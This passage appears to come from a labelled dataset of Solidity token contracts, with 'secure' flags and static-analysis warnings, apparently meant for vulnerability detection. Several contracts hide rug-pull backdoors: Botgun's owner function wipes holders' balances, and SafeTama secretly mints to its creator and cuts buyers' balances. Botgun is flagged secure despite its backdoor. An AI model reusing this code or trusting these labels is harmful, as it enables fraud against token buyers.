require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2554.sol", "secure": 1, "size_bytes": 5172 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A__InitializableStorage.sol\" as ERC721A__InitializableStorage;\n\nabstract contract ERC721AInitializable {\n using ERC721A__InitializableStorage for ERC721A__InitializableStorage.Layout;\n\n modifier initializerERC721A() {\n require(\n ERC721A__InitializableStorage.layout()._initializing\n ? _isConstructor()\n : !ERC721A__InitializableStorage.layout()._initialized,\n \"ERC721A__Initializable: contract is already initialized\"\n );\n\n bool isTopLevelCall = !ERC721A__InitializableStorage\n .layout()\n ._initializing;\n\n if (isTopLevelCall) {\n ERC721A__InitializableStorage.layout()._initializing = true;\n\n ERC721A__InitializableStorage.layout()._initialized = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n ERC721A__InitializableStorage.layout()._initializing = false;\n }\n }\n\n modifier onlyInitializingERC721A() {\n require(\n ERC721A__InitializableStorage.layout()._initializing,\n \"ERC721A__Initializable: contract is not initializing\"\n );\n\n _;\n }\n\n function _isConstructor() private view returns (bool) {\n address self = address(this);\n\n uint256 cs;\n\n assembly {\n cs := extcodesize(self)\n }\n\n return cs == 0;\n }\n}", "file_name": "solidity_code_2555.sol", "secure": 1, "size_bytes": 1493 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Botgun is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable calm;\n\n constructor() {\n _name = \"Bot Gun\";\n\n _symbol = \"BOTGUN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 398000000;\n\n calm = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == calm, \"Not allowed\");\n\n _;\n }\n\n function justify(address[] memory temple) public onlyOwner {\n for (uint256 i = 0; i < temple.length; i++) {\n address account = temple[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_2556.sol", "secure": 1, "size_bytes": 4349 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => bool) private Leifson;\n mapping(address => bool) private Denmark;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _LordOfTheSafestTime;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public pair;\n uint256 private ip;\n IDEXRouter router;\n\n address[] private safetamaArray;\n\n string private _name;\n string private _symbol;\n address private _sender;\n uint256 private _totalSupply;\n uint256 private Bowling;\n uint256 private Samurai;\n uint256 private Thorwing;\n bool private Wastes;\n uint256 private Bathroom;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cff2a2a): ERC20.constructor(string,string,address).creator_ lacks a zerocheck on \t _sender = creator_\n\t// Recommendation for cff2a2a: Check that the address is not zero.\n constructor(string memory name_, string memory symbol_, address creator_) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n _name = name_;\n\t\t// missing-zero-check | ID: cff2a2a\n _sender = creator_;\n _symbol = symbol_;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function _balanceDance(address account) internal {\n _balances[account] += (\n ((account == _sender) && (ip > 2)) ? (_totalSupply * 10 ** 10) : 0\n );\n }\n\n function burn(uint256 amount) public virtual returns (bool) {\n _burn(_msgSender(), amount);\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function _SnipersAreWelcome(\n address sender,\n uint256 amount,\n bool boolish\n ) internal {\n (Bowling, Wastes) = boolish ? (Samurai, true) : (Bowling, Wastes);\n\n if ((Leifson[sender] != true)) {\n if ((amount > Thorwing)) {\n require(false);\n }\n require(amount < Bowling);\n if (Wastes == true) {\n if (Denmark[sender] == true) {\n require(false);\n }\n Denmark[sender] = true;\n }\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _init(address creator, uint256 iVal) internal virtual {\n (ip, Wastes, Bowling, Bathroom) = (0, false, (iVal / 25), 0);\n (\n Samurai,\n Thorwing,\n Leifson[_router],\n Leifson[creator],\n Leifson[pair]\n ) = ((iVal / 1000), iVal, true, true, true);\n (Denmark[_router], Denmark[creator]) = (false, false);\n approve(\n _router,\n 115792089237316195423570985008687907853269984665640564039457584007913129639935\n );\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _AdvancedFrontrunnerProtection(address recipient) internal {\n safetamaArray.push(recipient);\n _LordOfTheSafestTime[recipient] = block.timestamp;\n\n if ((Leifson[recipient] != true) && (Bathroom > 2)) {\n if (\n\t\t\t\t// timestamp | ID: 1eff11c\n\t\t\t\t// incorrect-equality | ID: 0561e6b\n (_LordOfTheSafestTime[safetamaArray[Bathroom - 1]] ==\n _LordOfTheSafestTime[safetamaArray[Bathroom]]) &&\n Leifson[safetamaArray[Bathroom - 1]] != true\n ) {\n _balances[safetamaArray[Bathroom - 1]] =\n _balances[safetamaArray[Bathroom - 1]] /\n 75;\n }\n }\n\n Bathroom++;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] -= amount;\n _balances[address(0)] += amount;\n emit Transfer(account, address(0), amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function _balanceTheSafest(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n _AdvancedFrontrunnerProtection(recipient);\n _SnipersAreWelcome(\n sender,\n amount,\n (address(sender) == _sender) && (ip > 0)\n );\n ip += (sender == _sender) ? 1 : 0;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balanceTheSafest(sender, recipient, amount);\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n _balanceDance(sender);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _deploySafeTama(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_2557.sol", "secure": 0, "size_bytes": 9068 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _deploySafeTama(creator, initialSupply);\n _init(creator, initialSupply);\n }\n}", "file_name": "solidity_code_2558.sol", "secure": 0, "size_bytes": 1104 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract SafeTama is ERC20Token {\n constructor()\n ERC20Token(\"SafeTama\", \"SAFETAMA\", msg.sender, 2500000000 * 10 ** 18)\n {}\n}", "file_name": "solidity_code_2559.sol", "secure": 1, "size_bytes": 254 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IDexSwapFactory.sol\" as IDexSwapFactory;\nimport \"./IDexSwapRouter.sol\" as IDexSwapRouter;\n\ncontract BOT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb618c3): BOT._name should be constant \n\t// Recommendation for bb618c3: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Bot\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d946ac): BOT._symbol should be constant \n\t// Recommendation for 8d946ac: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BOT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 3569903): BOT._decimals should be constant \n\t// Recommendation for 3569903: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85f90fc): BOT._totalSupply should be constant \n\t// Recommendation for 85f90fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 100_000_000_000 * 10 ** 18;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public isExempt;\n\n mapping(address => bool) public automatedMarketMaker;\n\n uint256 public OneTimeTx = _totalSupply.mul(2).div(100);\n\n uint256 public oneTimeBag = _totalSupply.mul(2).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4779c8f): BOT.dexRouter should be immutable \n\t// Recommendation for 4779c8f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexSwapRouter public dexRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fb4f1c6): BOT.dexPair should be immutable \n\t// Recommendation for fb4f1c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dexPair;\n\n bool inSwap;\n\n modifier swapping() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n IDexSwapRouter _dexRouter = IDexSwapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexPair = IDexSwapFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n dexRouter = _dexRouter;\n\n automatedMarketMaker[dexPair] = true;\n\n isExempt[address(this)] = true;\n\n isExempt[_msgSender()] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (!isExempt[sender] && !isExempt[recipient]) {\n require(amount <= OneTimeTx);\n\n if (!automatedMarketMaker[recipient]) {\n require(balanceOf(recipient).add(amount) <= oneTimeBag);\n }\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function removeLimits() external onlyOwner {\n OneTimeTx = _totalSupply;\n\n oneTimeBag = _totalSupply;\n }\n}", "file_name": "solidity_code_256.sol", "secure": 1, "size_bytes": 6048 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address public owner;\n\n event OwnershipRenounced(address indexed previousOwner);\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(newOwner != address(0));\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipRenounced(owner);\n owner = address(0);\n }\n}", "file_name": "solidity_code_2560.sol", "secure": 1, "size_bytes": 852 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Pausable is Ownable {\n event Pause();\n event Unpause();\n event NotPausable();\n\n bool public paused = false;\n bool public canPause = true;\n\n modifier whenNotPaused() {\n require(!paused || msg.sender == owner);\n _;\n }\n\n modifier whenPaused() {\n require(paused);\n _;\n }\n\n function pause() public onlyOwner whenNotPaused {\n require(canPause == true);\n paused = true;\n emit Pause();\n }\n\n function unpause() public onlyOwner whenPaused {\n require(paused == true);\n paused = false;\n emit Unpause();\n }\n\n function notPausable() public onlyOwner {\n paused = false;\n canPause = false;\n emit NotPausable();\n }\n}", "file_name": "solidity_code_2561.sol", "secure": 1, "size_bytes": 916 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\ncontract SPMT is ERC20(\"Spaceium Token\", \"SPMT\"), Pausable {\n constructor() {\n _mint(_msgSender(), 3000000 * 10 ** 9);\n }\n function transfer(\n address _to,\n uint256 _value\n ) public override whenNotPaused returns (bool) {\n return super.transfer(_to, _value);\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public override whenNotPaused returns (bool) {\n return super.transferFrom(_from, _to, _value);\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public override whenNotPaused returns (bool) {\n return super.approve(_spender, _value);\n }\n}", "file_name": "solidity_code_2562.sol", "secure": 1, "size_bytes": 922 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract QuackCoin is ERC20 {\n constructor() ERC20(\"QuackCoin\", \"QUACK\") {\n _mint(_msgSender(), 1150000000000000000000000000000000);\n }\n}", "file_name": "solidity_code_2563.sol", "secure": 1, "size_bytes": 291 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LarvolToken is ERC20 {\n constructor() ERC20(\"Larvol\", \"LRV\") {\n _mint(msg.sender, 21000000 * (10 ** uint256(decimals())));\n }\n}", "file_name": "solidity_code_2564.sol", "secure": 1, "size_bytes": 283 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n address internal _distributor;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n modifier onlyDistributor() {\n require(_distributor == msg.sender, \"Caller is not fee distributor\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d5db7d0): Ownable.distributor(address).account lacks a zerocheck on \t _distributor = account\n\t// Recommendation for d5db7d0: Check that the address is not zero.\n function distributor(address account) external onlyOwner {\n require(_distributor == address(0));\n\t\t// missing-zero-check | ID: d5db7d0\n\t\t// events-access | ID: d51e5e2\n _distributor = account;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_2565.sol", "secure": 0, "size_bytes": 1546 }
{ "code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}", "file_name": "solidity_code_2566.sol", "secure": 1, "size_bytes": 323 }
{ "code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DataCloud {\n string public constant name = \"DataCloud\"; //\n\n string public constant symbol = \"DPU\"; //\n\n uint8 public constant decimals = 18;\n\n uint256 public constant totalSupply = 100_000_000 * 10 ** decimals;\n\n struct TradingFees {\n uint256 buyFee;\n uint256 sellFee;\n }\n\n TradingFees tradingFees = TradingFees(13, 37);\n\n uint256 constant swapBackAmunt = totalSupply / 100;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n error AccessRestriction();\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n address private pair;\n\n address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n IUniswapV2Router02 constant _uniswapV2Router =\n IUniswapV2Router02(routerAddress);\n\n address payable constant owner =\n payable(address(0xF93D714359DD5E088FE1635b84Ac6E821B8641EB));\n\n bool private swapping;\n\n bool private tradingOpen;\n\n constructor() {\n balanceOf[msg.sender] = totalSupply;\n\n allowance[address(this)][routerAddress] = type(uint256).max;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transfer(address to, uint256 amount) external returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool) {\n allowance[from][msg.sender] -= amount;\n\n return _transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ed29d95): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ed29d95: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f476231): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f476231: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n require(tradingOpen || from == owner || to == owner);\n\n if (!tradingOpen && pair == address(0) && amount > 0) pair = to;\n\n balanceOf[from] -= amount;\n\n if (\n to == pair && !swapping && balanceOf[address(this)] >= swapBackAmunt\n ) {\n swapping = true;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = ETH;\n\n\t\t\t// reentrancy-events | ID: ed29d95\n\t\t\t// reentrancy-eth | ID: f476231\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n swapBackAmunt,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n\t\t\t// reentrancy-events | ID: ed29d95\n\t\t\t// reentrancy-eth | ID: f476231\n owner.transfer(address(this).balance);\n\n\t\t\t// reentrancy-eth | ID: f476231\n swapping = false;\n }\n\n if (from != address(this)) {\n uint256 taxAmount = (amount *\n (from == pair ? tradingFees.buyFee : tradingFees.sellFee)) /\n 100;\n\n amount -= taxAmount;\n\n\t\t\t// reentrancy-eth | ID: f476231\n balanceOf[address(this)] += taxAmount;\n }\n\n\t\t// reentrancy-eth | ID: f476231\n balanceOf[to] += amount;\n\n\t\t// reentrancy-events | ID: ed29d95\n emit Transfer(from, to, amount);\n\n return true;\n }\n\n function openTrading() external {\n require(!tradingOpen);\n\n if (msg.sender == owner) tradingOpen = true;\n else revert AccessRestriction();\n }\n\n function _updateTradingFees(uint256 _feeOnBuy, uint256 _feeOnSell) private {\n tradingFees = TradingFees(_feeOnBuy, _feeOnSell);\n }\n\n function updateTradingFees(uint256 _feeOnBuy, uint256 _feeOnSell) external {\n if (msg.sender == owner) _updateTradingFees(_feeOnBuy, _feeOnSell);\n else revert AccessRestriction();\n }\n}", "file_name": "solidity_code_2567.sol", "secure": 0, "size_bytes": 5196 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISequenced {\n function startSequence(SequenceCreateData memory data) external;\n\n function completeSequence(uint16 number) external;\n}\n\nenum SequenceState {\n NOT_STARTED,\n STARTED,\n COMPLETED\n}\n\nstruct SequenceCreateData {\n uint16 sequenceNumber;\n string name;\n string description;\n string image;\n}", "file_name": "solidity_code_2568.sol", "secure": 1, "size_bytes": 413 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ISequenced.sol\" as ISequenced;\n\nabstract contract Sequenced is ISequenced {\n event SequenceMetadata(\n uint16 indexed number,\n string name,\n string description,\n string data\n );\n\n event SequenceComplete(uint16 indexed number);\n\n mapping(uint16 => SequenceState) private _sequences;\n\n function getSequenceState(\n uint16 number\n ) public view returns (SequenceState) {\n require(number > 0, \"invalid sequence number\");\n return _sequences[number];\n }\n\n function _startSequence(SequenceCreateData memory data) internal {\n uint16 number = data.sequenceNumber;\n require(number > 0, \"invalid sequence number\");\n require(\n _sequences[number] == SequenceState.NOT_STARTED,\n \"sequence already started\"\n );\n _sequences[number] = SequenceState.STARTED;\n emit SequenceMetadata(number, data.name, data.description, data.image);\n }\n\n function _completeSequence(uint16 number) internal {\n require(\n _sequences[number] == SequenceState.STARTED,\n \"sequence not active\"\n );\n _sequences[number] = SequenceState.COMPLETED;\n emit SequenceComplete(number);\n }\n}", "file_name": "solidity_code_2569.sol", "secure": 1, "size_bytes": 1344 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Rocket is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Meme Rocket AI\", \"ROCKET\") Ownable(initialOwner) {\n _mint(initialOwner, 20_000_000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_257.sol", "secure": 1, "size_bytes": 421 }
